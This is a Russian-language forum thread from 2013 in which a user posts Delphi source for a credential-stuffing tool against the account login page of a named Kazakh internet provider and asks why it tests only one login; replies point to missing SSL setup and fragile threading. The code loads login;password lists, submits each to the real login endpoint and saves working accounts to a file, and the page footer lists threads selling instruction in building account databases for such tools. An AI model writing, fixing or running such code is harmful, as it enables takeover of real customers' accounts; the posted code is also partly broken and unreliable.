Регистрация Главная Сообщество
Сообщения за день Справка Регистрация

Создание брута

-

Вопросы и ответы, обсуждения

- Ваши вопросы по Pascal/Delphi только в данном разделе

Ответ
 
Опции темы
Старый 30.04.2013, 17:05   #1
 Разведчик
Аватар для eramontana
 
eramontana никому не известный тип
Регистрация: 01.10.2012
Сообщений: 2
Популярность: 10
Сказал(а) спасибо: 0
Поблагодарили 1 раз в 1 сообщении
 
По умолчанию Создание брута

Здарова всем!
Хочу создать брут на сайт [Ссылки могут видеть только зарегистрированные пользователи. ]
Вообщем вот код, все идет правильно ошибок не выдает, но когда нажимаю на кнопку Старт проверяет только один логин и все.
Цитата:
unit Unit1;

interface

uses
Winapi.Windows, Winapi.Messages, System.SysUtils, System.Variants, System.Classes, Vcl.Graphics,
Vcl.Controls, Vcl.Forms, Vcl.Dialogs, Vcl.StdCtrls, IdTCPConnection,
IdTCPClient, IdHTTP, IdBaseComponent, IdComponent, IdIOHandler,
IdIOHandlerSocket, IdIOHandlerStack, IdSSL, IdSSLOpenSSL, Vcl.ComCtrls, Gauges, SyncObjs,
Vcl.XPMan;

type
TForm1 = class(TForm)
Memo1: TMemo;
Button1: TButton;
IdSSLIOHandlerSocketOpenSSL1: TIdSSLIOHandlerSocketOpenSSL;
IdHTTP1: TIdHTTP;
Button2: TButton;
OpenDialog1: TOpenDialog;
GroupBox1: TGroupBox;
gauge1: Tgauge;
Label1: TLabel;
Label2: TLabel;
Label3: TLabel;
Label4: TLabel;
Label5: TLabel;
Label6: TLabel;
Button3: TButton;
procedure Button1Click(Sender: TObject);
procedure Button2Click(Sender: TObject);
procedure Button3Click(Sender: TObject);
procedure FormShow(Sender: TObject);

private
{ Private declarations }
public
{ Public declarations }
end;

TBruteThread=class(TThread)
Private
protected
procedure Execute; override;
Public

// Constructor Create(CreateSuspended: boolean);
end;

var
Form1: TForm1;
send: tstringlist;
login,pass,del: string;
goodfile, badfile: textfile;
Work:boolean;
CS:TcriticalSection;


implementation

{$R *.dfm}

//constructor TBruteThread.Create(CreateSuspended: Boolean);
//begin
//inherited Create(CreateSuspended);
//end;



procedure TForm1.Button2Click(Sender: TObject);

begin
send:=tstringlist.create;

if Opendialog1.Execute then
begin
send.Clear;
send.LoadFromFile(Opendialog1.FileName);
Label4.Caption:=IntToStr(send.Count-1);
end;


if pos(';',send.Strings[0])<>0 then // авторазделитель
begin
del:=';';
end else
begin
del:=':';
end;

if del=';' then
begin
login:=copy(send.Strings[0], 1, pos(';',send.Strings[0])-1);
Pass:=copy(send.Strings[0], pos(';',send.Strings[0])+1, maxint);
end;

if del=':' then
begin
login:=copy(send.Strings[0], 1, pos(':',send.Strings[0])-1);
Pass:=copy(send.Strings[0], pos(':',send.Strings[0])+1, maxint);
end;
end;



procedure TForm1.Button1Click(Sender: TObject);
var
http, go: string;
BruteThread: TBruteThread;
begin
BruteThread:=TBruteThread.Create(True);
BruteThread.freeonterminate:=true;
BruteThread.Priority:=tpLower;
BruteThread.resume;
send:=tstringlist.create;
assignfile(goodfile, extractfilepath(application.exename)+'Good.txt');
Rewrite(goodfile);
closefile(goodfile);


label5.Caption:='0';
label6.Caption:='0';
gauge1.Progress:=0;




go:= 'https://my.internet.beeline.kz/ru/Account/LogOn';
send.Add('authData.Login='+ login);
send.Add('authData.Password='+ pass);
http:=idhttp1.post(go, send);
if pos('class="exit_btn_r"', http)<>0 then
begin
memo1.Lines.Add('Валидный Акк');
Form1.Label5.Caption:=IntToStr(StrToInt(Form1.Labe l5.Caption)+1);

Append(GoodFile);
Writeln(GoodFile, login+';'+pass);
Closefile(GoodFile);

Form1.Memo1.Lines.Add(login+';'+pass);
Form1.gauge1.Progress:=Form1.gauge1.Progress+1;

end
else
begin
Form1.Label6.Caption:=IntToStr(StrToInt(Form1.Labe l6.Caption)+1);
Form1.gauge1.Progress:=Form1.gauge1.Progress+1;
end;
end;

procedure TForm1.Button3Click(Sender: TObject);
begin
Button1.Enabled:=true;
Button3.Enabled:=false;
Work:=false;
end;


procedure TForm1.FormShow(Sender: TObject);
begin
CS:=TcriticalSection.Create;
send:=Tstringlist.create;
end;
procedure TbruteThread.Execute;
var
Thread, Acc:integer;
begin
CS.Enter;
send:=tstringlist.Create;
send.LoadFromFile(extractfilepath(application.ExeN ame));
for thread:=0 to send.count -1 do
begin
sleep(100);
send[thread];
acc:=thread;
end;
CS.Leave;
end;
end.

end.


Последний раз редактировалось eramontana; 06.05.2013 в 22:53.
  Ответить с цитированием
Старый 30.04.2013, 17:38   #2
 Старший сержант
Аватар для metraz
 
metraz в состоянии испепелить взглядомmetraz в состоянии испепелить взглядомmetraz в состоянии испепелить взглядомmetraz в состоянии испепелить взглядомmetraz в состоянии испепелить взглядомmetraz в состоянии испепелить взглядомmetraz в состоянии испепелить взглядомmetraz в состоянии испепелить взглядомmetraz в состоянии испепелить взглядомmetraz в состоянии испепелить взглядомmetraz в состоянии испепелить взглядом
Регистрация: 25.12.2011
Сообщений: 191
Популярность: 5259
Сказал(а) спасибо: 31
Поблагодарили 235 раз(а) в 135 сообщениях
Отправить сообщение для metraz с помощью Skype™
 
По умолчанию Re: Создание брута

ssl не подключен. И не стоит использовать этот исходник
  Ответить с цитированием
Старый 30.04.2013, 18:59   #3
 Разведчик
Аватар для eramontana
 
eramontana никому не известный тип
Регистрация: 01.10.2012
Сообщений: 2
Популярность: 10
Сказал(а) спасибо: 0
Поблагодарили 1 раз в 1 сообщении
 
По умолчанию Re: Создание брута

metraz, спасибо, но почему не стоит использовать? вроде норм исходник...
  Ответить с цитированием
Старый 30.04.2013, 19:00   #4
 Старший сержант
Аватар для metraz
 
metraz в состоянии испепелить взглядомmetraz в состоянии испепелить взглядомmetraz в состоянии испепелить взглядомmetraz в состоянии испепелить взглядомmetraz в состоянии испепелить взглядомmetraz в состоянии испепелить взглядомmetraz в состоянии испепелить взглядомmetraz в состоянии испепелить взглядомmetraz в состоянии испепелить взглядомmetraz в состоянии испепелить взглядомmetraz в состоянии испепелить взглядом
Регистрация: 25.12.2011
Сообщений: 191
Популярность: 5259
Сказал(а) спасибо: 31
Поблагодарили 235 раз(а) в 135 сообщениях
Отправить сообщение для metraz с помощью Skype™
 
По умолчанию Re: Создание брута

когда начнут вылетать потоки, поймешь)
  Ответить с цитированием
Старый 30.04.2013, 19:16   #5
 Разведчик
Аватар для eramontana
 
eramontana никому не известный тип
Регистрация: 01.10.2012
Сообщений: 2
Популярность: 10
Сказал(а) спасибо: 0
Поблагодарили 1 раз в 1 сообщении
 
По умолчанию Re: Создание брута

metraz, ясно, спс)
  Ответить с цитированием
Ответ


Ваши права в разделе
Вы не можете создавать новые темы
Вы не можете отвечать в темах
Вы не можете прикреплять вложения
Вы не можете редактировать свои сообщения

BB коды Вкл.
Смайлы Вкл.
[IMG] код Вкл.
HTML код Выкл.

Быстрый переход

Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
[Продам] Обучу способу создание баз для брута. un1c Товары/услуги в Сети 4 29.10.2012 12:43
[Услуги] Ищу наставника для брута: создание баз/чекание и т.д. Даю за уроки плату adonn1 Товары/услуги в Сети 0 03.08.2012 12:22
Создание базы для брута ganz Боты, скрипты и прочий софт для Perfect World 17 27.04.2010 21:22

Заявление об ответственности / Список мошенников

Часовой пояс GMT +4, время: 10:15.

Пишите нам: [email protected]
Copyright © 2024 vBulletin Solutions, Inc.
Translate: zCarot. Webdesign by DevArt (Fox)
G-gaMe! Team production | Since 2008
Hosted by GShost.net